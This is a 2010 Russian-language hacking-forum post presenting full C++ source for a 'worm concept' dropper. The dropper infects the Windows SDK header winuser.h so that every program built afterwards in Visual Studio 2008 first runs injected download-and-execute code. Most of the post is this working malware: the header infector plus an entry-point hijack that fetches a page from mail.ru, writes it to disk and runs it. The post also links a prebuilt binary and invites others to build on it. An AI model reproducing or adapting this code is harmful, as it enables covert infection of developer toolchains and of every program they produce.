ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

концепт червя под VisualStudio2008
  #1  
Старый 14.01.2010, 15:52
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию концепт червя под VisualStudio2008

вот решил погимориться и наваял. правда это не совсем червь пока - просто дроппер, суть заключена в том что в стандартные хидеры SDK добавляется код download & exec, переназначается точка входа и любая далее написанная прога (после заражения) в данной версии будет сливать шапку mail.ru и только потом работать сама.
правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY.

кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли)
при удачном исходе - в папке проге будет появляться хтмл файл.

предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации)

Код:
/*************************************************/
/*                                               */
/*  visual studio 2008 C++ worm concept by sn0w  */
/*   copyright (c) 2010, antichat.ru community   */
/*                                               */
/*************************************************/

/****** for educational purposes only ******/
/***** лишь в ознакомительных целях *****/

// стандартные инклуды, объединение секций, оптимизация и назначение точки входа
// чтобы не использовать C-Runtime
#include <windows.h>
#pragma optimize("gsy", on) 
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/SECTION:.data,ERW")
#pragma comment(linker, "/ENTRY:WinMain")

// какбы сократил разделитель строк для записи в файл
#define CRLF	"\r\n"

// массив, содержащий код который будет записан в winuser.h
char dev_c0de[] = 
"#ifndef _CONSOLE"CRLF   // #ifndef - то что не объявлено, те мы будем использовать наш код
"#ifndef _USRDLL"CRLF	// только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия
"#ifndef _ATL_DLL"CRLF
"#ifndef _DEBUG"CRLF
"#pragma once"CRLF	// включаем заголовки единожды, чтобы не было палева и конфликтов
"#ifndef _WINREG_"CRLF
"#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии)
"#endif"CRLF
"#ifndef _WININET_"CRLF	// 
"#include \"wininet.h\""CRLF // ужно для функций download
"#endif"CRLF
"#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки
"#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal)
// т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код
"extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain
"extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений
//////////////////////////////////////////////////////////////////////////
// эта функция осуществляет скачку и запуск файла с инета
"void call_drop_()"CRLF
"{"CRLF
"LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF
"LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF

"HANDLE hheap = GetProcessHeap();"CRLF

"HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF

"DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF
"HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF
"HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF

"HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF

"LPVOID	outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF
"LPVOID	p = outbuff;"CRLF

"DWORD size = 0, curr = 0;"CRLF

"while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF
"size += curr;"CRLF
"outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF
"p = (LPVOID)((DWORD)outbuff+size);}"CRLF


"InternetCloseHandle(hRequest);"CRLF
"InternetCloseHandle(hConnect);"CRLF
"InternetCloseHandle(hInternet);"CRLF

"#define F_NAME	\"head.html\""CRLF
"HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF
"WriteFile(hfile, outbuff, size, &size, NULL);"CRLF
"CloseHandle(hfile);"CRLF
"HeapFree(hheap,0 ,outbuff);"CRLF
"WinExec(F_NAME, SW_SHOWNORMAL);"CRLF
"Sleep(2000);"CRLF
"//DeleteFile(F_NAME);"CRLF
"}"CRLF
//////////////////////////////////////////////////////////////////////////
// это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции
"void APIENTRY crtinit12(void)"CRLF
"{"CRLF
"call_drop_();"CRLF // вызываем нащ дроппер
"__security_init_cookie();"CRLF // инициализируем систему исключений
"WinMainCRTStartup();"CRLF  // вызываем оригинальную программу
"}"CRLF
//////////////////////////////////////////////////////////////////////////
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif /* !_WINUSER_ */"CRLF;
/////////////////////////////////////////////////////////////

// подпрограмма установки:
//
// ищем в реестре установлена или не т СДК (признак наличия визуал студии)
//
void setup_me()
{
	HKEY hk;
	char szDataBuf[256];
	char sz_winuser_h[256];
	DWORD dwSize;

	if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS)
		return; // abort, no sdk available, or no approp rights

	dwSize = 256;
	if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){
		RegCloseKey(hk);
		return; // abort, couldnt retrieve sdk path
	}
	RegCloseKey(hk);

	// да, она есть, теперь формируем полный путь к winuser.h

	lstrcpy(sz_winuser_h, szDataBuf);
	lstrcat(sz_winuser_h, "include\\winuser.h");

	// 2. Now open winuser.h and write our code
	HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH  ARE_WRITE,
		0,OPEN_EXISTING, 0, NULL);

	if(hwinh == INVALID_HANDLE_VALUE)
		return; // cant open

	// да он есть, открыли, и проецируем в память для удобства

	HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0);

	if(hmap == NULL){
		CloseHandle(hwinh);
		return; // cant map
	}

	LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);

	if(lpmem == NULL){
		CloseHandle(hmap);
		CloseHandle(hwinh);
		return;
	} // cant map

	LPBYTE bytes = (LPBYTE)lpmem;

	// теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка

	// check watermark
	if(bytes[5]=='.'){ // already infected
		UnmapViewOfFile(lpmem);
		CloseHandle(hmap);
		CloseHandle(hwinh);
		return; // уже заражен
	}

	// продолжаем работу, - маркируем как инфицированный

	// mark as infected and write code
	bytes[5] = '.';

	// а теперь едем в конец файла и сдвигаемся назад до символа #
	// для того чтобы найти последнюю #endif и вписаться за ней
	//roll to the end (zeroes)
	char *edittarget;
	DWORD *fast_roll = (LPDWORD)bytes;
	while(*fast_roll!=0)fast_roll+=sizeof(DWORD);

	edittarget = (char*)fast_roll+4;
	while(*edittarget!='#')edittarget--;

	// нашли, и теперь полностью переписываем туда наш массив с девкодом
	// now finally write stuff
	for(int i=0; i< sizeof(dev_c0de); i++)
		edittarget[i] = dev_c0de[i];

	UnmapViewOfFile(lpmem);
	CloseHandle(hmap);
	CloseHandle(hwinh);

	// инфицирование завершено
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	setup_me();
	return 0;
}
__________________


snow white world wide

Последний раз редактировалось sn0w; 15.01.2010 в 23:07..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Дневник кота {((((((((((((]}{ ТЕМА!!! Болталка 3 14.03.2009 23:50
$250 тыс за голову создателя червя Conficker Chupa!? Мировые новости 8 18.02.2009 13:47
МнеВеликие перцы svans Чаты 11 24.12.2002 18:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ